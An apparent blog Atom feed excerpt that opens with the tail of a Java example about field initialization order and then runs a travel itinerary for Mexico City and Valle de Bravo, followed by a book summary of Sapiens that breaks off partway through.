</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#268bd2">public</span> <span style="color:#268bd2">class</span> <span style="color:#268bd2">Sample</span> {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">private</span> <span style="color:#268bd2">final</span> String mField1;
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">private</span> <span style="color:#268bd2">final</span> String mField2 <span style="color:#719e07">=</span> getField1() <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34; two&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">private</span> <span style="color:#268bd2">Sample</span>(String field1) {
</span></span><span style="display:flex;"><span>    mField1 <span style="color:#719e07">=</span> field1;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">private</span> String <span style="color:#268bd2">getField1</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> mField1;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">private</span> String <span style="color:#268bd2">getField2</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> mField2;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">public</span> <span style="color:#268bd2">static</span> <span style="color:#dc322f">void</span> <span style="color:#268bd2">main</span> (String<span style="color:#719e07">[]</span> args) {
</span></span><span style="display:flex;"><span>    Sample sample <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> Sample(<span style="color:#2aa198">&#34;one&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// prints &#34;Field 1 is one&#34;</span>
</span></span><span style="display:flex;"><span>    System.out.println(<span style="color:#2aa198">&#34;Field 1 is &#34;</span> <span style="color:#719e07">+</span> sample.getField1());
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// prints &#34;Field 2 is null two&#34;!!!</span>
</span></span><span style="display:flex;"><span>    System.out.println(<span style="color:#2aa198">&#34;Field 2 is &#34;</span> <span style="color:#719e07">+</span> sample.getField2());
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/java" term="java" label="java"/></entry><entry><title type="html">4 days in Mexico City and Valle De Bravo</title><link href="https://ashishb.net/travel/mexico/mexico-city-and-valle-de-bravo/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><link href="https://ashishb.net/travel/mexico/cancun/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in Cancun, Mexico"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/el-calafate-patagonia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="A day in El Calafate - Patagonia, Argentina"/><id>https://ashishb.net/travel/mexico/mexico-city-and-valle-de-bravo/</id><author><name>Ashish Bhatia</name></author><published>2017-09-11T06:58:29+00:00</published><updated>2017-09-11T06:58:29+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate travel guide for 4 days in Mexico City and Valle De Bravo. Explore the best attractions, food, and experiences in this vibrant region.</blockquote><h3 id="day-1">Day 1</h3>
<p>We started our journey with   
    
    
<a href="https://en.wikipedia.org/wiki/Templo_Mayor?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Templo Mayor</a>, a 700-year-old Aztec temple, and took a guided tour of it.
The ticket to the temple costs MXN 70 per person, and the guided tour in English was for MXN 300.
It takes about 3-4 hours to explore the archeological remains and the museum.
I would recommend this museum over other archeological museums in the Mexico city since this one had descriptions written in English.</p>
<figure>
    
    <a href="IMG_1559-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1559-768x1024.jpg"
         alt="A museum exhibit displays Aztec sculptures, with descriptive plaques in English" width="900"/> </a>
</figure>

<p>Then we headed to Zocalo square for lunch.
There are always some cultural events going on there.
I would highly recommend trying out mangos (with chile) and corn (again, with chile) in the open market.
While Zocalo is well-known, the lesser-known nearby university area is excellent for exploring the nightlife of
Mexico city (&ldquo;Ciudad de México&rdquo;).</p>
<figure>
    
    <a href="IMG_1574-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1574-1024x768.jpg"
         alt="An urban area with buildings and streets, part of the RBY university area in Mexico City, known for its vibrant nightlife." width="900"/> </a>
</figure>

<h3 id="day-2">Day 2</h3>
<p>We took an early morning bus to   
    
    
<a href="https://wikitravel.org/en/Teotihuac%C3%A1n?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Teotihuacan</a>.
An MXN 50 bus runs pretty regularly from the North Bus Terminal (&ldquo;Terminal de Autobuses del Norte&rdquo;).
It takes about an hour to reach Teotihuacan. It opens up at 8 AM.
I would recommend arriving early to avoid traffic.
Also, don&rsquo;t go there on Sunday since it is free for Mexican residents then.
I would recommend all the three pyramids - Pyramid of the sun (&ldquo;Piramide del sol&rdquo;),
which is the   
    
    
<a href="https://www.lonelyplanet.com/mexico/teotihuacan/attractions/piramide-del-sol/a/poi-sig/1086148/361548?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">third-largest</a>
pyramid in the world,
Pyramid of the moon (&ldquo;Piramide de la Luna&rdquo;), and the temple of Quetzalcoatl(&ldquo;Templo de Quetzalcóatl&rdquo;).</p>
<figure>
    
    <a href="Sun-Temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sun-Temple-1024x768.jpg"
         alt="A pyramid labeled &#39;Temple of Sun" width="900"/> </a>
</figure>

<figure>
    
    <a href="Moon-Temple-as-seen-from-the-Sun-Temple-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Moon-Temple-as-seen-from-the-Sun-Temple-1-1024x768.jpg"
         alt="The Temple of the Moon as viewed from the Sun Temple. These are ancient structures in Teotihuacan, Mexico." width="900"/> </a>
</figure>

<p>On return to Mexico City, we decided to head to the   
    
    
<a href="https://en.wikipedia.org/wiki/Chapultepec_Castle?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chapultepec Castle</a>,
a 300-year-old castle from the colonial era. While Teotihuacan is fantastic,
the castle is not that great, and you can skip it.</p>
<h3 id="day-3">Day 3</h3>
<p>We took an early morning bus from the Poniente Bus terminal in Mexico City to Valle De Bravo.
One can find the itinerary   
    
    
<a href="https://venta.zina-bus.com.mx/venta/index.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>. MXN 167 comfortable bus ride takes about 3 hours to the beautiful city of
Valle De Bravo named after Mexican president and the hero of the battle with the US,   
    
    
<a href="https://en.wikipedia.org/wiki/Nicol%C3%A1s_Bravo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nicolas Bravo</a>.
The town is picturesque, sitting next to a lake, surrounded by beautiful lush-green mountains, cobblestone roads,
and colonial-era architecture.</p>
<figure>
    
    <a href="Mirador-La-Pena-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mirador-La-Pena-1024x768.jpg"
         alt="A picturesque street in Valle de Bravo, featuring colonial-era architecture, cobblestone roads, and surrounded by lush green mountains." width="900"/> </a>
</figure>

<figure>
    
    <a href="A-street-in-Valle-De-Bravo-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="A-street-in-Valle-De-Bravo-768x1024.jpg"
         alt="View from Mirador La Peña, showcasing a scenic landscape with lush greenery and a distant water body" width="900"/> </a>
</figure>

<p>We did a short and steep hike to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g499427-d8673359-Reviews-Mirador_La_pena-Valle_de_Bravo_Central_Mexico_and_Gulf_Coast.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mirador La Pena</a> (&ldquo;Lookout point&rdquo;),
which gave a majestic view of the city and the surroundings.
The hike takes about 1-2 hours. Then we took an hour-long   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g499427-d12178786-Reviews-Yate_Fiesta_Valle_Yate_Festivall-Valle_de_Bravo_Central_Mexico_and_Gulf_Coast.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">boat cruise</a> in the lake.</p>
<figure>
    
    <a href="A-view-of-the-lake-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="A-view-of-the-lake-1024x768.jpg"
         alt="A scenic lake view in Valle de Bravo, Mexico, surrounded by lush greenery and mountains, offering tranquil natural beauty." width="900"/> </a>
</figure>

<p>For the rest of the day, the market and the cathedral area are a great area to hang out.</p>
<h3 id="day-4">Day 4</h3>
<p>We started the day with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g499427-d3336877-Reviews-Cascadas_Velo_de_Novia-Valle_de_Bravo_Central_Mexico_and_Gulf_Coast.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cascadas Velo De Novia</a> (&ldquo;Bridal Veil Falls&rdquo;).
The falls are far from Valle De Bravo, and an MXN 20 shared, or MXN 60 private taxi will take you there.
The hike is about 1-2 hours and is relatively flat compared to Mirador La Pena</p>
<figure>
    
    <a href="Cascadas-Velo-De-Novia-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Cascadas-Velo-De-Novia-768x1024.jpg"
         alt="A waterfall cascades down a steep, rocky cliff surrounded by dense green foliage" width="900"/> </a>
</figure>

<p>We took a boat ride in the afternoon in the lake, and in the evening, we took the Zina bus back to Mexico City.</p>
<h3 id="things-we-did-not-do-but-might-be-good">Things we did not do but might be good</h3>
<ol>
<li>Free   
    
    
<a href="https://www.estacionmexico.com.mx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a> in the Mexico city</li>
<li>  
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g150800-d153711-Reviews-National_Museum_of_Anthropology_Museo_Nacional_de_Antropologia-Mexico_City_Central.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">National Museum of Anthropology</a> - Templo Mayor museum was sufficient for us, but in case you want to explore more museums</li>
<li>  
    
    
<a href="https://wikitravel.org/en/Mexico_City/Xochimilco?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Xochimilco</a></li>
<li>  
    
    
<a href="https://theculturetrip.com/north-america/mexico/articles/the-7-best-national-parks-to-visit-from-mexico-city/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">National Parks</a> outside Mexico city</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/mexico" term="mexico" label="mexico"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/></entry><entry><title type="html">Book Summary: Sapiens: A brief history of Humankind</title><link href="https://ashishb.net/book-summary/sapiens/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-subtle-art-of-not-giving-a-fck/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The subtle art of not giving a f*ck by Mark Manson"/><link href="https://ashishb.net/book-summary/brandwashed/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Brandwashed by Martin Lindstorm"/><link href="https://ashishb.net/book-summary/business-adventures/?utm_source=atom_feed" rel="related" type="text/html" title='Book summary: "Business Adventures" by John Brooks'/><link href="https://ashishb.net/book-summary/where-good-ideas-come-from/?utm_source=atom_feed" rel="related" type="text/html" title='Book summary: "Where good ideas come from" by Steven Johnson'/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><id>https://ashishb.net/book-summary/sapiens/</id><author><name>Ashish Bhatia</name></author><published>2017-09-09T21:17:44+00:00</published><updated>2017-09-09T21:17:44+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the science behind humanity&rsquo;s dominance through the Cognitive, Agricultural, and Scientific revolutions. Explore myths, religion, capitalism, and future evolution.</blockquote><p>The   
    
    
<a href="https://amzn.to/2eZzubf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> provides a scientific perspective on the history of how humans came to dominate the planet.  The book&rsquo;s biggest focus is on the three revolutions the cognitive revolution which started 70, 000 years ago; the agricultural revolution which started 12, 000 years ago; and the scientific revolution which started 500 years ago and shaped the destiny of our species and the planet.</p>
<p><strong>Species</strong> - Animals belong to the same species if they tend to mate and give birth to fertile offspring.
<strong>Genus</strong> - Species evolved from a common ancestor. They, usually, won&rsquo;t mate but can be induced to do so. Eg. Mule (Horse and donkey), and Liger (Lion and Tiger).</p>
<p>Homo Sapiens - &ldquo;Homo&rdquo; genus and &ldquo;Sapiens&rdquo; (intelligent) species. Some other members of our genus are, no extinct, Homo Erectus, and Homo neanderthalensis. Homo Sapiens&rsquo; closest living species are Chimpanzees.</p>
<h2 id="the-cognitive-revolution">The Cognitive Revolution</h2>
<h3 id="the-rise-of-homo-sapiens">The rise of Homo Sapiens</h3>
<p>The Homo genus has unusually big brains and big energy drains. Homo sapiens&rsquo; brain consumes 25% of energy at rest, 8% is the norm for other apes. The big brain is an even bigger cause of human infants which are born relatively prematurely (in terms of physical strength) compared to the other species. The long gestation period and the raising of the child implied that evolution favored strong social ties in humans. Regular use of fire started about 300, 000 years ago. The carefully managed fire was not only used to clear forests but can also be used for cooking food (faster to digest). Long intestines and large brains are both energy drains, it is hard to have both. Cooking food lead to shortened intestines and hence, our brains could grow bigger. As Homo Sapiens spread from East Africa to the Arabian peninsula, Europe, and Asia, they drove other Homo species like Neanderthals to extinction. Some interbreeding did happen but it was mostly the Sapien&rsquo;s superior social skills that allowed them to tribe up and drove other Homo species everywhere into   
    
    
<a href="https://more-minerals.blogspot.com/2016/02/yuval-harari-interbreeding-vs.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">extinction</a>.</p>
<h3 id="the-tree-of-knowledge">The Tree of Knowledge</h3>
<p>About 100, 000 years ago, Homo Sapiens migrated out of Africa but retreated after losing to Neanderthals. About 70, 000 years ago they tried again, and this time they succeeded due to the invention of language which allowed them to invent tons of things like boats, lamps, needles, etc. This Cognitive revolution allowed Homo Sapiens to dominate the earth. Anthropologists believe that our complex language was used more for gossip than to discuss where the prey was. And from there evolved the ability to create and believe in myths. The myths allowed us to collaborate and cooperate in large numbers in the form of tribes and now, in the form of nation-states.</p>
<blockquote>
<p>A man can be convinced to die fighting for his nation for the promise of heaven; a monkey cannot be.</p></blockquote>
<p>Religion is a myth; nation-states are myths; the Limited-liability corporation is a myth; the US declaration of independence is a myth; all are figments of our imagination. Unlike animals, trees, fish, and rivers, the aforementioned myths have no association with a real physical entity. These myths, surprisingly, allow believers to work together and collectively. These myths are not different from the primitive myths of the tribal men most modern people would laugh at. Homo Sapiens&rsquo; ability to believe in myths allows us to form big groups of millions of individuals who have never met each other. In other animals, groups are limited to the size of 25-30 animals who all know each other; such animals cannot form large groups. The other big advantage of passing myths via language is that it does not require any DNA mutations. Catholic &amp; Buddhist monks pass on celibacy, not via genes but by imparting their religion (myth) to the followers, some of who, convert. And that&rsquo;s probably how Homo Sapiens defeated Neanderthals. While Sapiens would have lost one-on-one combat, they could form much larger groups which Neanderthals could not.</p>
<h3 id="a-day-in-the-life-of-adam-and-eve---the-hunter-gatherer-society">A day in the life of Adam and Eve - The hunter-gatherer society</h3>
<p>Except for the past 10, 000 years, Sapiens evolved in pre-agricultural hunter-forager societies. They shaped our psychological and social characteristics. These ancient foragers know a lot more about their surroundings than us. While we, collectively, as a human society know a lot more, individuals today know a lot less. Forager societies tend to end the wide and varied diet and hence, had a lower chance of malnutrition than the farmers who would eat a few staple crops. Their working hours were lesser(30-35 hours per week), and since they neither engaged in the domestication of the animals nor stayed in dense settlements, the epidemics were rare. Some anthropologists, therefore, call hunter-gather societies the   
    
    
<a href="https://en.wikipedia.org/wiki/Original_affluent_society?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">original affluent society</a> (ashishb&rsquo;s note: This is not without its controversies). Little beyond that is known about these hunter-gatherers. They probably believed had animistic beliefs. No one knows whether they were monogamous or not, had a concept of private property or not, their festivals, and their taboos.</p>
<h3 id="the-flood">The Flood</h3>
<p>About 45, 000 years ago, some Sapiens living on Indonesian islands figured out the art of building boats and eventually reached Australia. This was the first time, Homo Sapiens stepped out of the Afro-Asian ecosystem, and they wreak havoc on the isolated Australian continent ecosystem.  23 out of 24 species larger than 50 Kg became extinct within a few 1000 years. The marsupials, mammals with baby-carrying pouches, failed to adapt to the onslaught of humans. Their slow pregnancy cycles with few kids, lack of fear of humans since humans don&rsquo;t look that harmful, and potential burning of the forests to set up agricultural land disrupted the food chain entirely.</p>
<blockquote>
<p>Unlike the Afro-Asian animals who evolved with humans over thousands of years, the Australian animals were caught completely by surprise with no time, on the evolutionary scale, to adjust.</p></blockquote>
<p>Climate change just worsened everything.</p>
<p>About 16, 000 years ago, the invasion of America happened via Siberia which was connected to North-western Alaska when the sea levels were lower. Unlike other species of Homos, Sapiens adapted to the harsh colder climate by sewing boots and thermal clothing. They thrived on eating juicy animals like mammoths which given low temperatures can be eaten over days. Around 14, 000 years ago, global warming melted the glaciers in Alaska which blocked the way to the rest of the Americas. And that&rsquo;s when Sapiens ventured into the American continents. In 2000 years, Sapiens reached the southernmost point in America.</p>
<blockquote>
<p>No animal had moved so quickly through variety of habitats virually using the same genes.</p></blockquote>
<p>American fauna suffered. Mammoths (&amp; mammoth ticks), Mastodons, and tons of animals which just like Australia, had survived in isolation from the Afro-Asian ecosystem faltered. Fossils had repeatedly pointed these disappearances to be about 12, 000 BC in the Americas and around 5, 000 BC in Hispaniola, both times when Sapiens entered the ecosystem. The same story has been repeated island after island.</p>
<p>First wave extinction: Sapiens as hunter-gatherers enter the ecosystem
Second wave extinction: Sapiens become farmers and forests are burnt and reduced to grasslands
Third wave extinction: Industrial revolution</p>
<blockquote>
<p>Throughout the history, Homo Sapiens have been the deadliest species to enter any ecosystem.</p></blockquote>
<h2 id="the-agricultural-revolution">The Agricultural Revolution</h2>
<h3 id="historys-biggest-fraud">History&rsquo;s Biggest Fraud</h3>
<p>Agriculture started in about 9000 BC and domestication of crops was over by about 3500 BC. Today, we eat the same crops - Wheat, Maize, Rice, Potato, Millet, and Barley. Only a few species could be domesticated, and they were in the middle east, China, and Central America but not in Australia or Africa. And that&rsquo;s where, independently, the domestication of crops started.  Wheat went from an unknown crop to a crop that has spread everywhere on the planet. Human bodies were not designed for agriculture and farming. Wheat demand protection from pests, animals, and even other humans. The only advantage farming has is that it leads to more food per unit area and allowed humans to multiply exponentially. Overall, the agricultural revolution in the short run made the life of humans miserable, so, why did it happen?</p>
<blockquote>
<p>The currency of evolution is not pain or misery but copies of DNA helixes.</p></blockquote>
<p>The agricultural revolution leads to permanent settlements which allowed women to have more kids. Over time, as farmers multiplied they cleared, even more, land, reducing the scope for foragers even further. Just like the modern-day luxury treadmill, agriculture soon became a necessity to support the ever-increasing population. And there was no going back. Similarly, domestication of animals proceeded with slaughtering the most aggressive, weak, and economically unworthy animals first. Over time, domesticated animals evolved to be more economically worthy and more submissive. While just like wheat, animals like chickens, sheep, pigs, and cows spread over the world, were treated brutally. From repeated impregnation to castration, their life became miserable compared to life in the wild.</p>
<blockquote>
<p>The evolutionary  correlated with the individual suffering for animals and humans.</p></blockquote>
<h3 id="building-pyramids">Building Pyramids</h3>
<p>The food surplus exploded the population from 5-8 million in 10, 000 BC to 250 million in about 100 AD. The food surplus eventually leads to the emergence of bigger political orders like cities and nation-states. Rather than being based on some ingrained human characteristics, these were imagined human orders based on shared beliefs and myths. &ldquo;All humans are created equal&rdquo; is completely incorrect from a biological stance. Humans are born and they are all different from each other. Just like animistic beliefs are a myth, so are human rights. There is nothing biological about them. They only exist in our shared imaginations. A natural order is a stable order. If people don&rsquo;t believe in gravity, apples would still fall. If people don&rsquo;t believe in human rights, society will collapse.  While some violence (police and army) is required to enforce an (imaginary) order, they have to believe in something to organize in favor of that. And same goes for the elites who rule. Christianity, capitalism, and democracy, all are imagined orders with a large number of believers.</p>
<blockquote>
<p>Christianity, capitalism, democracy, all are imagined orders with a large number of believers.</p></blockquote>
<p>The biggest lie though is to train a human right from childhood about the imagined order as a natural order. &ldquo;God is one&rdquo;, &ldquo;People are equal because God created them that way&rdquo;, and &ldquo;Free markets are best because it is an immutable law of nature&rdquo;. Over time, order is embedded in the material world, for example, individualism is enforced via private rooms. The imagined order heavily controls our desires. Considering the desire to travel abroad, a millionaire today might solve his relationship crisis by taking his wife on an expensive trip to Paris. In ancient Egypt, he would have built a tomb, which she always wanted.</p>
<blockquote>
<p>A millionaire today might solve his relationship crisis by taking his wife to an expensive trip to Paris. In ancient Egypt, he would have built a tomb, which she always wanted.</p></blockquote>
<p>The two of the biggest imagined orders of the modern world are romanticism and consumerism. Romanticism teaches us that we must have as many experiences as possible to fulfill our expectations. Consumerism teaches us that we must consume as many goods as possible.</p>
<blockquote>
<p>The imagined order is inter-subjective. Radioactivity is objective, it happens whether you believe in it or not. An imaginary friend is subjective, since it exists only as long as you believe in it. Preciousness of gold is inter-subjective since it exists not only in your imagination (belief system) but also in the belief system of millions of others.</p></blockquote>
<p>To change an inter-subjective belief system, one has to convince everyone else, and to convince everyone else; they have to believe in an even bigger imaginary order. For example, the existence of a particular company listed on the NYSE is an inter-subjective order. To make everyone else not believe in its existence either, one has to go to a bigger imaginary order (NYSE). There is no way out of the imagined orders. We have to believe in a bigger one to dismantle a smaller one.</p>
<h3 id="memory-overload">Memory Overload</h3>
<p>Unlike animals, humans pass a lot of information via teaching and not encoding it in the DNA. The empires generated a huge amount of information. The brain has a limited capacity to store information, humans die, and brains are best at storing social, topographical, and qualitative information. What empires want to store was numbers. And that&rsquo;s how writing was invented by ancient Sumerians in about 3500 BC. The initial writing was only for record-keeping, therefore, it was a partial script. A full script can express almost everything that can be spoken. Sumerians also invested in the cataloging of this information and the schools where these scribes were taught. This new bureaucracy specialized a new compartmentalized way of thinking as opposed to the usual holistic thinking.</p>
<h3 id="there-is-no-justice-in-history">There is no justice in History</h3>
<p>The American declaration of independence, empowered men over women, whites over blacks, and Native Americans. Many modern westerners scoff at one imaginary system (racial hierarchy) but believe that another one (different schools for rich and poor) is perfectly fine. Hierarchies allow two strangers to decide how to talk to each other. At the same time, they limit the potential of individuals.</p>
<p>Every imagined system disavows its fictional origins and claims to be natural and inevitable.</p>
<p>Racism in the US: Purity and pollution are used as a standard argument for all social hierarchies, some based on birth, some on race, and some on religion. In the US, white Europeans decided to import slaves from Africa since it was nearby, there was an existing slave market, and Africans had partial genetic immunity towards Malaria and Yellow Fever. This eventually was justified by the imagined order of white skin being superior to black. Such an imagined order is easier justification than saying that it is economically expedient to import slaves from Africa.  Over time, this acted as a vicious cycle, where blacks are inferior and fueled by discrimination which further leads to poverty among blacks.</p>
<p>The hierarchy between men and women: One hierarchy more or less the same all around the world is the superiority of men over women. In many societies, women were seen as the property of men. And crimes like rape were property violations where marry-the-rapist was seen as a solution (ashishb&rsquo;s note: This happens even today, even in the   
    
    
<a href="https://www.nytimes.com/2017/05/26/opinion/sunday/it-was-forced-on-me-child-marriage-in-the-us.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">US</a>). Of course, one notable difference between men and women is the womb but as we have seen in modern times,  women can vote, live independently, and think for themselves, all of which is the imagined reality of ancient cultures, they were incapable of doing. Since almost all societies (even before having any contact) around the world put men above women, it cannot be a pure coincidence, there are theories about it. One theory is that men have more muscle power, the objection is why are women historically excluded from less strenuous jobs like politicians and priests. Another theory suggests that men are more aggressive and thus, better suited to be soldiers, and wars have dominated our history. This theory falls apart as well since historically, soldiers from the bottom rung never rose to the top. The top was reserved for the aristocrats. Another theory suggests that since women need cooperation from men during pregnancy, they have to become more submissive to the man they are bearing the child, so that, he sticks around. This theory falls apart since the support network does not have to be male. Bonobos have all-female support networks.</p>
<blockquote>
<p>How did this happen that the species, Homo Sapiens, whose success depends on being more cooperative with each other has less cooperative individuals (man) dominate woman is still a mystery</p></blockquote>
<p>Biology is willing to tolerate a wide spectrum of possibilities. Nature does not prohibit homosexuality; it&rsquo;s the culture that labels it unnatural to restrict it. Something unnatural like humans doing photosynthesis just won&rsquo;t happen.</p>
<blockquote>
<p>Biology enables, culture forbids</p></blockquote>
<h2 id="the-unification-of-humankind">The unification of Humankind</h2>
<h3 id="the-arrow-of-history">The Arrow of History</h3>
<p>Unlike the self-consistent law of physics, cultures have internal contradictions in them. Solving them leads to change. The modern world continuously fights with contradictory ideas of equality and liberty. All cultures from a psychological perspective are &ldquo;cognitively dissonant&rdquo;. But the human worlds have unified and connected over time and have similar ideas, nation-states, a similar concept of monetary transactions (currency), and a similar legal system (international law). For a long while, humans still believed in &ldquo;us&rdquo; vs. &ldquo;them&rdquo;. Merchants, prophets, and conquerors to expand their territories or customers, believers, and subjects made us believe in a new imagined reality of the global brotherhood.</p>
<h3 id="the-scent-of-money">The scent of Money</h3>
<p>A barter system does not scale. If there are 100 types of goods then the two parties who are exchanging the goods have to know C(100, 2) = 4950 combinations of exchange rates every day. Money ends up being a central mechanism to linearize the problem since every seller has to know the price of their good in a single currency. Of course, just like religion, money is an intersubjective reality that only exists in our imaginations. And it does not have to be coins or notes. In Nazi concentration camps, cigarettes were a currency. The only requirement is that it should easy to transport, and store, and has a wide enough acceptance.</p>
<blockquote>
<p>Money is the most useful and efficient system of mutual trust ever devised.</p></blockquote>
<p>The original form of money like Barley had an intrinsic biological value. Over time, we moved to unmarked gold and silver which had no biological value. Then marked gold and silver coins, so, no weighing is required to find the value. And then to fiat currency which had no intrinsic value, and then to electronic currency which had no physical existence. Money as a source of universal convertibility and trust has replaced priceless things like honor, loyalty, morality, and love. When we use money as a medium of exchange, we don&rsquo;t trust each other; we trust money. When someone runs out of money, we run out of trust in them.</p>
<h3 id="imperial-visions">Imperial Visions</h3>
<p>An empire is characterized by cultural diversity and territorial flexibility. All empires have engaged in the brutal slaughter and assimilation of the people outside their borders to extend their territory. Slowly, the newly acquired population forgets what they stood for. For example, in the 7th century AD, the Arab empire crushed Egyptians with an iron fist, today Egyptians think of themselves as Arabs.  One major change which happened over time in the Imperial vision was that empires changed their imagined reality from &ldquo;we are conquering you for our benefit&rdquo; to a more benevolent &ldquo;we are conquering you for your benefit&rdquo;. Persian king changed from &ldquo;Persian king&rdquo; to &ldquo;everyone&rsquo;s king&rdquo;. This was the first time in history, Sapiens were (pretending) to get rid of the &ldquo;us&rdquo; vs &ldquo;them&rdquo; feeling. These imagined realities of benefitting the Conqueror exist even today when the US presidents use F-16 to deliver democracy and human rights</p>
<p>These imagined realities of benefitting the Conqueror exist even today when the US presidents use F-16 to deliver democracy and human rights in Iraq and Syria.</p>
<p>Of course, this benefitting the conquered approach still assumed the inferiority of conquered. That&rsquo;s why M.K. Gandhi, a London-educated, qualified barrister was thrown out of whites-only seats from a train.</p>
<p>Almost, all imperial empires follow the same style. First, they conquered territories. Then those territories adopt the new culture. Then the people of these territories demand equal stature. And then eventually empire flames out but the imperial culture remains (ashishb&rsquo;s note: Christianity, Islam, English, and French are some of those cultural remnants which can be seen all around the world).</p>
<p>Not only all empires are founded on blood and used war and oppression to maintain themselves, but also they are the source of almost all modern cultures. There is no untainted authentic civilization that is without those sins.</p>
<h3 id="the-law-of-religion">The Law of Religion</h3>
<p>Along with money and empires, religion is the third unifier of mankind. Religion is a system of human norms and values founded on the belief in a superhuman order. The religions which are universal and missionary like Islam and Christianity succeed in spreading themselves.</p>
<blockquote>
